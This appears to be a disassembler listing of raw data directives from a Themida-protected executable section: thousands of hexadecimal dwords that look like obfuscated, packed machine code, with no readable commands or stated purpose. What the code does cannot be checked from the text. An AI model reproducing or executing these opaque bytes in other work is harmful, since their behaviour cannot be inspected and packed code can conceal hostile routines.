		dd 858B9E1Ah, 60AADD7h,	1800C7h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 1ADB6CC3h
		dd 1A518D89h, 0B58B0607h, 60AADDBh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 1C35545h, 0E0AD7D5Dh, 4FBB66DFh
		dd 0CD858B13h, 8906072Bh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0BB1373h, 8B4FFCAAh
		dd 72A1D85h, 51006A06h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 897B9476h, 29D19D8Bh, 10E90607h
		dd 72000000h, 727FF99Fh, 0ED68894Bh, 0C5FFABF5h, 8998C2B3h
		dd 0BD2B0446h, 60721A5h, 0BB665096h, 6A965569h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0E92BC357h, 13h, 73D7D2B6h, 60770C7Fh, 0ED51CCB6h, 0B39E16A4h
		dd 0FF37DEEDh, 0AADD7B5h, 6E806h, 0FB780000h, 74AB0C93h
		dd 7E9h, 0EA9C7C00h, 0BBE0E91Ch, 7A34685Fh, 348102A2h
		dd 0BD79CB24h, 56006A02h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0BD22589Eh, 14E9h, 0C64CC700h
		dd 0BBBE3ACAh, 0FEDCB700h, 0D100455Ch, 79A60EBh, 0DF858D7Ah
		dd 80060AADh, 0BB90F5C3h, 7AC8F36Fh, 0F7819050h, 71971636h
		dd 9F995FFh, 9D8B0607h,	6071E1Dh, 0B70F5361h, 85C75FD8h
		dd 6073305h, 3,	263D9D89h, 18BB0607h, 83065A3Ah, 0AADDFBDh
		dd 840F0006h, 4Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 4BC35545h, 2F62A5A0h,	43E942h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 4DEF2DC3h, 750B8DA5h, 12E19D8Bh, 30500607h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 12E9C0h
		dd 87C10000h, 0DDAB43D9h, 0A9E947A0h, 5B793252h, 0DF8355A0h
		dd 0DE9h, 490B4100h, 0F2588E37h, 3F090A4Dh, 0BD83DAADh
		dd 6073305h, 52850F03h,	6A000004h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 9387C353h
		dd 6DBBE618h, 8B5AABC7h, 0DFBD83F8h, 60AADh, 41F840Fh
		dd 0DA8B0000h, 0ADDFB5FFh, 6E8060Ah, 82000000h,	0C1EA3B47h
		dd 898D8936h, 5B060710h, 212995FFh, 6A0607h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 1A0516C3h
		dd 5E6F3F3Bh, 68F0FF3h,	9000000h, 703758Dh, 0D3B58B06h
		dd 66060AADh, 89F664BBh, 703298Dh, 106C706h, 6A000100h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 8C85C357h, 3065BD23h, 0D7810607h,	228B80DEh
		dd 66605150h, 0B8292FBFh, 1C9BC4DFh, 34895F61h,	56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 396C1C7Fh, 1A0D9529h, 8B500607h, 705AD9Dh, 0B5FF5F06h
		dd 60AADDFh, 0EE8h, 0AB1BE900h,	5C8031B5h, 0ABA0D127h
		dd 146DA38h, 725FD85h, 95FF5B06h, 6070251h, 29C19D8Bh
		dd 0B58B0607h, 60AADD3h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 15h, 0F3C35242h, 0D7816619h, 858BC794h, 60712A1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0F1C35141h
		dd 68A0F6Ch, 89000000h,	72931BDh, 7E806h, 85CE0000h, 0FD8CFBF3h
		dd 0E840F98h, 0E9000000h, 9, 97144478h,	374640CCh, 86895B85h
		dd 0C4h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	8C35747h, 616FE882h, 0BFC86DE4h, 6A071381h, 1AD9958Bh
		dd 0BD8B0607h, 607006Dh, 6A04C283h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 2474C352h
		dd 985D6A0Ch, 3360E5B2h, 7327DBDh, 0C0B70F06h, 13E961h
		dd 0B4EF0000h, 1E293C96h, 45F0E4EEh
		dd 4CD03A5Ch, 4AF6F199h, 205089BCh, 8DFAB70Fh, 0AC17085h
		dd 800F06h, 89000000h, 0B886h, 8E900h, 74140000h, 5389E48Dh
		dd 6A1A3Dh, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 19h,	3C35242h, 96812274h, 0B70F6047h, 611CB6C7h, 0ADDFB5FFh
		dd 6A060Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 430C2BC3h, 6B9560ECh, 63D38166h, 9195FFBDh
		dd 6A060707h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0F4BC356h, 88Ch, 820F5300h, 0
a_cflPs		db '_√f▀чPИ',0Ah,0
		db 2 dup(0), 59h
		dd 0F884B307h, 76F38A16h, 6A9646h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0A230DEC3h, 0B70F12F4h
		dd 0DFB5FFF8h, 6A060AADh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0AEB3C351h,	7AAE3508h
		dd 2D0995FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0B94B42C3h, 0AE8h, 59F0A800h, 7F551C4h
		dd 0E956D71Fh, 0Fh, 0F4E3B2D6h,	37FCAA9Dh, 0B8E5DEEBh
		dd 5F3B94B6h, 14C1BD83h, 0F000607h, 3484h, 5D9D0B00h, 5006072Eh
		dd 89F88B66h, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 2E2AA4C3h, 89DA8BB2h, 7139D85h
		dd 0DFB5FF06h, 8B060AADh, 710E1BDh, 89BD8B06h, 0FF06072Ch
		dd 71F9595h, 3ECF8106h,	0FF3E8F07h, 0AADDFB5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 9FC46FC5h, 95FFDDB3h, 60702C1h, 8317F780h, 72865BDh
		dd 840F0206h, 2Bh, 858BF98Ah, 6070E69h,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 14h, 66C35747h, 660000C6h
		dd 0C79684BBh, 72A5185h, 6, 85896000h, 6070761h, 0F349E961h
		dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 2D2DA2C3h, 0A943F7DEh, 0BB106324h, 50B9FCFAh
		dd 9D33C18Bh, 60712B1h
dword_586464	dd 18B1858Dh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
					; DATA XREF: Themida_:0053CC4Co
		dd 1A0424h, 57470000h, 479A20C3h, 2D98AEC3h, 29B58589h
		dd 0BD8B0607h, 6071275h, 9E850h, 0A13B0000h, 0CF98F0E1h
		dd 8BF1D87Ah, 4895BFAh,	4480BB24h, 6A232Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 6FC35545h, 95BD0B26h
		dd 6A060722h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0F05D6A7h, 858DFABFh, 60B9EC0h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 55C35343h, 0C083C743h
		dd 5E905h, 75090000h, 50324FDEh, 6A240489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0E006C357h
		dd 0FB8E78FEh, 6A215FD9h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0A853FEDDh
		dd 0F1C2A27Eh, 12E1BD89h, 6A0607h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 81C35747h, 2FFFF5D9h, 9D8953B9h
		dd 6072245h, 3D95FF5Fh,	306071Eh, 72F71BDh, 0D58D8D06h
		dd 6A060A93h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 9E6EC351h, 8F3C3CDBh, 295C7BD9h
		dd 711418Dh, 6AD1FF06h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 54C0C350h, 2B31AEFAh
		dd 0B59D8BD5h, 83060710h, 719BDBDh, 850F0106h, 63h, 6A026Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0DBBF29C3h, 585FBA6Fh, 0F381662Dh, 669020DFh, 503ACABBh
		dd 0CE95250h, 9F000000h, 0D8D60014h, 309E551Dh,	0F189BE2h
		dd 9AB16031h, 8A0Fh, 5A610000h,	0BD2B9058h, 6072D05h, 79195FFh
		dd 7DBB0607h, 0E94CF947h, 0C4Dh, 0E8h, 0ED815D00h, 60B9ECAh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 82C35242h
		dd 4AE2F908h, 14E9h, 0A0F5C000h, 5BD1102Fh, 0C2E5E8D8h
		dd 2AA6C04Ah, 0A50E58h,	3F858D71h, 8B060A84h, 712C59Dh
		dd 8B606006h, 7232995h,	820F06h, 61000000h, 12E89061h
		dd 0AC000000h, 0BA25A273h, 4C30E85Dh, 0F24B6D79h, 43B9E26Eh
		dd 1CF2BBCBh, 505F48D8h, 90DA8B66h, 0D7D9531h, 0B600607h
		dd 71A4D8Dh, 0C1D78106h, 616C536Fh, 35FF64h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 8B1BC350h, 258964h, 0FF000000h, 72F5985h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 16361B0Eh, 0AF902448h, 1830F31h,	0F5000000h
		dd 6ADFB70Fh, 896051FFh, 71FB19Dh, 0D9858B06h, 6106070Ah
		dd 0FFF98B5Fh, 72639B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0C9EB4883h, 0EFCFB3A0h
		dd 6860F1Fh, 29000000h,	707AD8Dh, 8995FF06h, 0E906072Bh
		dd 145h, 6800Fh, 0E3810000h, 476DB2E9h,	9D8900B0h, 6072059h
		dd 8D2970E6h, 607109Dh,	8B6671E4h, 0F613CD8h, 11C83h, 9D2B5600h
		dd 6070C65h, 0C8B60F5Bh, 0BAD9BF0Fh, 6,	13E8h, 2FF58900h
		dd 595475DFh, 0C1FEDB10h, 10CF0EC2h, 3AF11531h,	0B99D8B57h
		dd 5F06070Ah, 8BC18B5Fh, 720499Dh, 4E8C106h, 9E8h, 6E86D000h
		dd 3EF4EE2Eh, 9D8B787Eh, 6070555h, 0E2F7665Bh, 3ADBD8Bh
		dd 0C82B0607h, 2B9DBD8Bh, 0D18B0607h, 0CE9h, 0EA463D00h
		dd 0C3DEA1AEh, 702A0EF7h, 10E9B9h, 0DF8B0000h, 59858B60h
		dd 2306070Ch, 729C195h,	858B6106h, 6071405h, 66D8B70Fh
		dd 0C083D88Bh, 14E907h,	59F40000h, 544E20F0h, 0DFCF2398h
		dd 0D86FE9D5h, 0D0EB614Ch, 0C083D357h, 5E800h, 0DE0B0000h
		dd 89B74385h, 72305BDh,	0D03B5B06h, 10830Fh, 9D8B0000h
		dd 60705D5h, 40E9h, 0A6CEBF00h,	8D8B56AAh, 6072E51h, 1A31BD8Bh
		dd 0E1830607h, 26840F01h, 0F000000h, 685h, 1BD8B00h, 83060722h
		dd 72E51A5h, 0DA8AFE06h, 14059589h, 0BD8B0607h,	6070919h
		dd 0E9h, 8CB58D00h, 6A060B12h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 9E20C352h, 0A3B8E815h
		dd 4185295Dh, 51060720h, 188D0Fh, 13E90000h, 0A4000000h
		dd 473DEE69h, 0B048A2FCh, 0E3CFD71Eh, 2FA2CD83h, 6A5F8702h
		dd 39BD0B00h, 0FF06072Ch, 70D6995h, 98BF6606h, 902B9C0h
		dd 85290000h, 6070539h,	5800Fh,	81660000h, 8323A2E3h, 6AFCE1h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 3E590AC3h, 8B9F2589h, 72FE59Dh, 6AFC06h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 46807BC3h
		dd 0B8F877h, 6A000000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 668CC352h, 0A944CB81h
		dd 0FE9D22Bh, 3C000000h, 0F0C6E29Dh, 95796477h,	7C9AFF3Ah
		dd 33AD0654h, 3E8D1C2h,	4E983D0h, 0B70FF475h, 50006ADBh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0B5FFDB6Fh, 8969DADDh, 719CD95h, 880D06h, 9D890000h
		dd 6071B89h, 1AD9958Bh,	6A0607h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 9E38DFC3h, 0BD33E2FDh
		dd 60729E9h, 101D8D8Bh,	6A0607h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 6422E9C3h, 8B506F7Ah
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0ED66E381h
		dd 0B58961F6h, 6070C85h, 0E29BD83h, 0F000607h, 4184h, 7E800h
		dd 535B0000h, 0ADEC1EF7h, 0B85FB9h, 60000000h, 8799D89h
		dd 8D610607h, 74B9B8Dh,	0FB8B6606h, 8E8E1FFh, 95000000h
		dd 0D68A0BACh, 60A0DB22h, 1185C181h, 8D0164C3h,	60721B9h
		dd 0BD835F61h, 6073305h, 0CE840F00h, 6A000003h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 2B6BC355h, 0B3B79C17h, 5BD831Dh, 1060733h, 3BA840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 2041FFC3h, 0DF816669h, 12E9549Fh,	20000000h
		dd 0A6F45635h, 0DE1B36D6h, 8240A815h, 0D274F3F0h, 5BD831Dh
		dd 3060733h, 33C860Fh, 6A600000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0C56AC355h
		dd 88D0F70h, 0F000000h,	28Fh, 89FA8A00h, 72D1D95h, 0D98C6606h
		dd 4E180F8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	0D6C35545h, 7740A3EDh, 0A167EB4h, 9840FC9h, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 8A2DC352h, 947AE338h, 16C6F00Fh, 18C59D89h
		dd 0B5310607h, 6072A95h, 2A1D858Bh, 10E80607h, 36000000h
		dd 0C0EB71F6h, 3772531h, 0E9261FD0h, 6635171Ah,	0E555CB81h
		dd 0FD85335Bh, 0F506071Ah, 12E990h, 96CC0000h, 8AF858E4h
		dd 175B0605h
		dd 2C8AD98Ch, 1CFBE3C7h, 3FC3BF50h, 6A90649Eh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0CE1DC356h, 6A9C5Eh,	0A52EDB81h, 0AD683214h,	5168BE3Fh
		dd 8B665250h, 0E8310FDAh, 9, 0C97265EBh, 28BFC079h, 585A5FD8h
		dd 2434815Fh, 68A13C52h, 0FFDF8B66h, 709F995h, 81666006h
		dd 0F5792CEh, 68Ch, 0F58D8900h,	61060707h, 0ADDF8589h
		dd 0E7BF060Ah, 0E90270A1h, 142h, 13E9h,	33EF3300h, 0AE6E069Eh
		dd 7BC45B1Dh, 3A1CED59h, 0A0096590h, 0ADD7858Bh, 0DA8B060Ah
		dd 1800C7h, 9D8B0000h, 6073235h, 0ADDBB58Bh, 6A060Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 26AF6FC3h, 0F5D8C781h, 858B3A15h, 6072BCDh, 89DF8B66h
		dd 19D8B06h, 8B060711h,	72A1D85h, 4468906h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 1C35343h, 0FFD6D1E5h
		dd 1DBD0B06h, 96060711h, 50FE8B66h, 8E8h, 0BD6D8300h, 324C73D6h
		dd 0DF8B66A3h, 6A965Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 667037C3h, 0B5FFDE8Bh, 60AADD7h
		dd 263DBD89h, 0DF680607h, 6082CB0Eh, 7509BB66h,	61D18B66h
		dd 20240481h, 8B7D53F5h, 72D819Dh, 11E906h, 7170000h, 9AD8CD11h
		dd 93273E4Fh, 0F0C024B8h, 8D2E08A1h, 0AADDF85h,	0F90F806h
		dd 587h, 17CDBF00h, 0E95062F5h,	0Bh, 0DC3FF262h, 9638A766h
		dd 903B9318h, 2C1D8D31h, 95FF0607h, 60709F9h, 0DD9D8Bh
		dd 6A610607h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 8CBC356h, 32D78B28h, 0C7CC8DCCh
		dd 7330585h, 306h, 51006A00h, 3E8h, 0C3592000h,	244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0E8CB1448h, 83A41F1Eh
		dd 0AADDFBDh, 840F0006h, 46h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 59C35040h, 3EE9C3A2h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0D711C353h, 22B19D8Bh, 30500607h,	4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0DE9C0h
		dd 43A40000h, 2CCA8884h, 3E922C07h, 0BB6EE40Ch,	6564A7Ah
		dd 3305BD83h, 0F030607h, 35985h, 0C3816600h, 0BD8356DFh
		dd 60AADDFh, 47840F00h,	0BB000003h, 130487B7h, 0ADDFB5FFh
		dd 0BB66060Ah, 95FF8967h, 6072129h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 9AC35040h, 958B60F5h, 60710B5h
		dd 442CBA66h, 0D3B58B61h, 0F8060AADh, 106C7h, 6A0001h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 8A5F9CC3h, 5EA97F2h,	0B58B60A6h, 6072BD1h, 219D8B61h
		dd 96060720h, 0F7BB6660h, 3EBE6641h, 0BB5061EFh, 65A71A50h
		dd 6820F96h, 89000000h,	702798Dh, 0DFB5FF06h, 2B060AADh
		dd 732F9BDh, 5195FF06h,	6A060702h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 63F7C350h
		dd 0B94CF075h, 71952905h, 8B060732h, 0AADD3B5h,	85BD8B06h
		dd 8B06070Dh, 712A185h,	0A98D8906h, 89060712h, 0C486h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 8119FC34h, 7C46C3F7h, 0D9958B0Eh, 6A06071Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 6E9C356h,	81BBC537h, 8338B7EDh, 508904C2h
		dd 6D9D8920h, 8D060708h, 0AC17085h, 0DF816606h,	8689E5C6h
		dd 0B8h, 12E9h,	19458700h, 2813ADEEh, 622717ECh, 0A6F8B429h
		dd 0E8D3B952h, 0Bh, 0B98452F3h,	6EE6578Dh, 6600FA4Eh, 6A5FFB8Bh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 303BE573h, 19ADBD8Bh, 0E9600607h, 12h, 75197A46h
		dd 2E7BA36Eh, 0DFF83371h, 79A00FC4h, 8E0FC359h,	5, 0A67D5BBh
		dd 0B5FF610Ah, 60AADDFh, 9E9h, 62C19E00h, 48C8F1B3h, 95FFD536h
		dd 6070791h, 0DF99D8Bh,	0F960607h, 28Fh, 509DB300h, 12E9h
		dd 3E50B00h, 70639FEh, 0C9B1BD96h, 5FDF793Eh, 964D96D7h
		dd 482ABB66h, 0ADDFB5FFh, 0BE8060Ah, 0B3000000h, 0A0857D45h
		dd 0DBFCAE5Fh, 0BF0FF70Ah, 95FF5FF8h, 6072D09h,	1AB59D8Bh
		dd 0BD830607h, 60714C1h, 12840F00h, 8B000000h, 70A359Dh
		dd 0DD8A5006h, 31243489h, 7106995h, 0DFB5FF06h,	0E9060AADh
		dd 0Fh,	0CA83AAEAh, 331836D5h, 0E4548A51h, 0FF05C936h
		dd 71F9595h, 81F86006h,	25BB2DC0h, 14BF6152h, 0FF46017Eh
		dd 0AADDFB5h, 68C0F06h,	89000000h, 726318Dh, 0C195FF06h
		dd 0F060702h, 0E87h, 9E900h, 2A0C0000h,	0DB9C9BE6h, 832D126Ah
		dd 72865BDh, 840F0206h,	4Ch, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 11C35545h, 66A7DEDDh, 858BD88Bh
		dd 6070E69h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	7CC35040h, 0B136FC1Bh, 0C68Ch, 2A5185C7h, 607h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 6EB1C8C3h, 0BD2B0327h, 6072B09h, 1ABD9D23h
		dd 0D4E90607h, 8BFFFFF4h, 712099Dh, 8BBBB306h, 8C0F60C1h
		dd 6, 1B2D9509h, 870F0607h, 6, 8F0Fh, 89610000h, 72B618Dh
		dd 0B1858D06h, 6A060718h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 2D65C350h, 0C9CF3DA6h
		dd 500DDCFCh, 48991B7h,	0BD8B5024h, 6071F9Dh, 6E95Fh, 3EF10000h
		dd 82CC99D1h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0EBE039C3h, 4FD8C861h, 11FD9D8Bh
		dd 6A0607h, 2A958D01h, 0EF800607h, 0F5858DDAh, 8B060BACh
		dd 714D99Dh, 5C08306h, 23658589h, 50900607h, 90FA8B66h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 1CC35040h
		dd 0CE01CC06h, 5A77361Ah, 6880F6Ch, 89000000h, 713C585h
		dd 28BB6606h, 6A006AA4h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 664BC350h, 6AF98Bh
		dd 12E19D89h, 95FF0607h, 6071E3Dh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 29C35545h, 0C7E22422h, 93D58D8Dh
		dd 0B589060Ah, 60702C5h, 8589D1FFh, 6072211h, 19BDBD83h
		dd 0F010607h, 0AB85h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 31A4EAD4h, 72F9995h, 29026A06h
		dd 711318Dh, 7ABF5006h,	8944111Eh, 6A2404h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 391C3C3h
		dd 0EDE555CAh, 13E8D4F0h
		dd 92000000h, 312A6908h, 0F5AD306Fh, 6112566Bh,	4275C5B1h
		dd 0DE9276Ch, 31000000h, 0AEE76D5Dh, 0EEEFB854h, 0AE781EABh
		dd 9195FF5Fh, 6A060707h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0E31FC355h,	0B5C90613h
		dd 0DF4E9h
		db 0
byte_5874B9	db 0E8h, 2 dup(0)	; DATA XREF: Themida_:0053DB84o
		dd 815D0000h, 0BACFFEDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 59909EB5h, 8D879324h
		dd 0A843F85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 50F95D05h, 66535250h, 0F5BDF8Bh
		dd 763CBF31h, 585A5E83h, 2B240489h, 725F1BDh, 35FF6406h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 6FC35141h
		dd 24E5921Dh, 66D9D8Bh,	89640607h, 25h,	57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 0CBEA5A4h, 359D8B64h, 0FF060728h, 72F5985h, 6AFF6A06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 89E1C350h, 359D8B16h, 0FF06070Dh,	71531B5h
		dd 0DF8B6006h, 95FF61F9h, 6072B89h, 108E9h, 0A8E0F00h
		dd 0E9000000h, 5, 0CE2A4426h, 8900B02Dh, 7047195h, 0BF70E606h
		dd 1825C29Ch, 958971E4h, 6071FD1h, 830F613Ch, 0D9h, 0A8B63ABBh
		dd 0C8B60F03h, 0E4CB8166h, 6BA0Ch, 8B660000h, 0BC18BDEh
		dd 7333D9Dh, 4E8C106h, 0E9D8B70Fh, 14h,	12969294h, 36DF1AA1h
		dd 2CA5E262h, 506571A8h, 3180BCDEh, 51E2F766h, 1E6D9D8Bh
		dd 2B5F0607h, 2AB160C8h, 199958Bh, 8B610607h, 55BD29D1h
		dd 0E9060708h, 0
		dd 2D15858Bh, 0EB800607h, 7C08386h, 18ED9589h, 0C0830607h
		dd 0AE900h, 3A840000h, 0A9265FA8h, 0B8F568E1h, 830FD03Bh
		dd 14h,	46E9CBB3h, 0E9000000h, 8, 0CB97690Fh, 0CE9A618Dh
		dd 14F18D8Bh, 95890607h, 6071ED9h, 0F01E183h, 2484h, 0AD9D8B00h
		dd 8306071Eh, 714F1A5h,	0BD8BFE06h, 607052Dh, 2D159589h
		dd 85890607h, 6071175h,	0E9h, 0C0B58D00h, 6A060B1Dh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 5F7CC357h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 1E5DE8C3h, 0D6995FFh, 6A0607h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 8643DEC3h, 0CF8166AFh, 0BD8BB4F1h, 60732CDh,	89DB9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 125AC534h, 6E8h,	26906500h, 339A0C34h, 70AE59Dh
		dd 0BD8B5B06h, 6071811h, 0E8FCE183h, 9,	2D2A9D74h, 0BB080465h
		dd 7E97Ah, 8C3E0000h, 831950B6h, 66FC5BC3h, 0C02BD88Bh
		dd 5E9h, 58804D00h, 0D22BF864h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 4EC35545h, 496A4000h, 4A3BE730h
		dd 75BD8Bh, 33AD0607h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 37C50BC3h, 0E88BD7BAh, 0Eh, 0A5ACD2Bh, 66570D50h, 0FD1ACF38h
		dd 0DB813186h, 4ED16500h, 0D185895Fh, 6A06071Ah, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 21B2C353h, 81ED04E8h, 20F37FDFh, 2890F52h, 8B000000h
		dd 880DDFh, 0EE80000h, 0B6000000h, 0D7A6275Bh, 0BAE3F8E7h
		dd 0F31ACD6Bh, 0F98B6606h, 0D9958B5Bh, 6A06071Ah, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 6D38C357h, 224C83D4h, 0A9B96029h, 611BF6D8h,	101D8D8Bh
		dd 9D330607h, 6073055h,	8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 0BF0F5818h, 8268BFD8h, 0BD830D55h, 6070E29h
		dd 0B0840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 2370C350h, 0C8BB6667h
		dd 0B868h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 96BFA4C3h, 8B5B0C84h, 72E5D9Dh
		dd 9B8D8D06h, 6A06074Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 8A8DC353h, 0CC8F8998h
